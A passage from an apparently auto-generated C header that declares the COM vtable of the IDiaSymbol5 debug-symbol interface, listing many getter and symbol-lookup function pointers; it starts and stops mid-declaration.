STDMETHODCALLTYPE *get_thisAdjust )( IDiaSymbol5 * This, /* [retval][out] */ LONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseOffset )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtual )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_intro )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_pure )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_callingConvention )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_value )( IDiaSymbol5 * This, /* [retval][out] */ VARIANT *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseType )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_token )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_timeStamp )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_guid )( IDiaSymbol5 * This, /* [retval][out] */ GUID *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_symbolsFileName )( IDiaSymbol5 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_reference )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_count )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bitPosition )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_arrayIndexType )( IDiaSymbol5 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_packed )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_constructor )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_overloadedOperator )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_nested )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasNestedTypes )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasAssignmentOperator )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasCastOperator )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_scoped )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseClass )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_indirectVirtualBaseClass )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBasePointerOffset )( IDiaSymbol5 * This, /* [retval][out] */ LONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualTableShape )( IDiaSymbol5 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lexicalParentId )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_classParentId )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_typeId )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_arrayIndexTypeId )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualTableShapeId )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_code )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_function )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_managed )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_msil )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseDispIndex )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_undecoratedName )( IDiaSymbol5 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_age )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_signature )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_compilerGenerated )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressTaken )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_rank )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lowerBound )( IDiaSymbol5 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_upperBound )( IDiaSymbol5 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lowerBoundId )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_upperBoundId )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); HRESULT ( STDMETHODCALLTYPE *get_dataBytes )( IDiaSymbol5 * This, /* [in] */ DWORD cbData, /* [out] */ DWORD *pcbData, /* [size_is][out] */ BYTE *pbData); HRESULT ( STDMETHODCALLTYPE *findChildren )( IDiaSymbol5 * This, /* [in] */ enum SymTagEnum symtag, /* [in] */ LPCOLESTR name, /* [in] */ DWORD compareFlags, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findChildrenEx )( IDiaSymbol5 * This, /* [in] */ enum SymTagEnum symtag, /* [in] */ LPCOLESTR name, /* [in] */ DWORD compareFlags, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findChildrenExByAddr )( IDiaSymbol5 * This, /* [in] */ enum SymTagEnum symtag, /* [in] */ LPCOLESTR name, /* [in] */ DWORD compareFlags, /* [in] */ DWORD isect, /* [in] */ DWORD offset, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findChildrenExByVA )( IDiaSymbol5 * This, /* [in] */ enum SymTagEnum symtag, /* [in] */ LPCOLESTR name, /* [in] */ DWORD compareFlags, /* [in] */ ULONGLONG va, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findChildrenExByRVA )( IDiaSymbol5 * This, /* [in] */ enum SymTagEnum symtag, /* [in] */ LPCOLESTR name, /* [in] */ DWORD compareFlags, /* [in] */ DWORD rva, /* [out] */ IDiaEnumSymbols **ppResult); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetSection )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetOffset )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetRelativeVirtualAddress )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetVirtualAddress )( IDiaSymbol5 * This, /* [retval][out] */ ULONGLONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_machineType )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_oemId )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_oemSymbolId )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); HRESULT ( STDMETHODCALLTYPE *get_types )( IDiaSymbol5 * This, /* [in] */ DWORD cTypes, /* [out] */ DWORD *pcTypes, /* [size_is][size_is][out] */ IDiaSymbol **pTypes); HRESULT ( STDMETHODCALLTYPE *get_typeIds )( IDiaSymbol5 * This, /* [in] */ DWORD cTypeIds, /* [out] */ DWORD *pcTypeIds, /* [size_is][out] */ DWORD *pdwTypeIds); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_objectPointerType )( IDiaSymbol5 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_udtKind )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); HRESULT ( STDMETHODCALLTYPE *get_undecoratedNameEx )( IDiaSymbol5 * This, /* [in] */ DWORD undecorateOptions, /* [out] */ BSTR *name); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noReturn )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_customCallingConvention )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noInline )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_optimizedCodeDebugInfo )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_notReached )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_interruptReturn )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_farReturn )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isStatic )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasDebugInfo )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isLTCG )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isDataAligned )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasSecurityChecks )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_compilerName )( IDiaSymbol5 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasAlloca )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasSetJump )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasLongJump )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasInlAsm )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasEH )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasSEH )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasEHa )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isNaked )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAggregated )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSplitted )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_container )( IDiaSymbol5 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_inlSpec )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noStackOrdering )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseTableType )( IDiaSymbol5 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasManagedCode )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isHotpatchable )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isCVTCIL )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isMSILNetmodule )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isCTypes )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isStripped )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndQFE )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndQFE )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_wasInlined )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_strictGSCheck )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isCxxReturnUdt )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isConstructorVirtualBase )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_RValueReference )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unmodifiedType )( IDiaSymbol5 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_framePointerPresent )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSafeBuffers )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_intrinsic )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_sealed )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hfaFloat )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hfaDouble )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeStartAddressSection )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeStartAddressOffset )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeStartRelativeVirtualAddress )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_countLiveRanges )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeLength )( IDiaSymbol5 * This, /* [retval][out] */ ULONGLONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_offsetInUdt )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_paramBasePointerRegisterId )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_localBasePointerRegisterId )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isLocationControlFlowDependent )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_stride )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfRows )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfColumns )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isMatrixRowMajor )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); HRESULT ( STDMETHODCALLTYPE *get_numericProperties )( IDiaSymbol5 * This, /* [in] */ DWORD cnt, /* [out] */ DWORD *pcnt, /* [size_is][out] */ DWORD *pProperties); HRESULT ( STDMETHODCALLTYPE *get_modifierValues )( IDiaSymbol5 * This, /* [in] */ DWORD cnt, /* [out] */ DWORD *pcnt, /* [size_is][out] */ WORD *pModifiers); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isReturnValue )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isOptimizedAway )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_builtInKind )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_registerType )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseDataSlot )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseDataOffset )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_textureSlot )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_samplerSlot )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_uavSlot )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_sizeInUdt )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_memorySpaceKind )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unmodifiedTypeId )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_subTypeId )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_subType )( IDiaSymbol5 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfModifiers )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfRegisterIndices )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isHLSLData )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPointerToDataMember )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPointerToMemberFunction )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSingleInheritance )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isMultipleInheritance )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isVirtualInheritance )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_restrictedType )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPointerBasedOnSymbolValue )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseSymbol )( IDiaSymbol5 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseSymbolId )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_objectFileName )( IDiaSymbol5 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAcceleratorGroupSharedLocal )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAcceleratorPointerTagLiveRange )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAcceleratorStubFunction )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfAcceleratorPointerTags )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSdl )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isWinRTPointer )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isRefUdt )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isValueUdt )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isInterfaceUdt )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); HRESULT ( STDMETHODCALLTYPE *findInlineFramesByAddr )( IDiaSymbol5 * This, /* [in] */ DWORD isect, /* [in] */ DWORD offset, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findInlineFramesByRVA )( IDiaSymbol5 * This, /* [in] */ DWORD rva, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findInlineFramesByVA )( IDiaSymbol5 * This, /* [in] */ ULONGLONG va, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findInlineeLines )( IDiaSymbol5 * This, /* [out] */ IDiaEnumLineNumbers **ppResult); HRESULT ( STDMETHODCALLTYPE *findInlineeLinesByAddr )( IDiaSymbol5 * This, /* [in] */ DWORD isect, /* [in] */ DWORD offset, /* [in] */ DWORD length, /* [out] */ IDiaEnumLineNumbers **ppResult); HRESULT ( STDMETHODCALLTYPE *findInlineeLinesByRVA )( IDiaSymbol5 * This, /* [in] */ DWORD rva, /* [in] */ DWORD length, /* [out] */ IDiaEnumLineNumbers **ppResult); HRESULT ( STDMETHODCALLTYPE *findInlineeLinesByVA )( IDiaSymbol5 * This, /* [in] */ ULONGLONG va, /* [in] */ DWORD length, /* [out] */ IDiaEnumLineNumbers **ppResult); HRESULT ( STDMETHODCALLTYPE *findSymbolsForAcceleratorPointerTag )( IDiaSymbol5 * This, /* [in] */ DWORD tagValue, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findSymbolsByRVAForAcceleratorPointerTag )( IDiaSymbol5 * This, /* [in] */ DWORD tagValue, /* [in] */ DWORD rva, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *get_acceleratorPointerTags )( IDiaSymbol5 * This, /* [in] */ DWORD cnt, /* [out] */ DWORD *pcnt, /* [size_is][out] */ DWORD *pPointerTags); HRESULT ( STDMETHODCALLTYPE *getSrcLineOnTypeDefn )( IDiaSymbol5 * This, /* [out] */ IDiaLineNumber **ppResult); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPGO )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasValidPGOCounts )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isOptimizedForSpeed )( IDiaSymbol5 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PGOEntryCount )( IDiaSymbol5 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PGOEdgeCount )( IDiaSymbol5 * This, 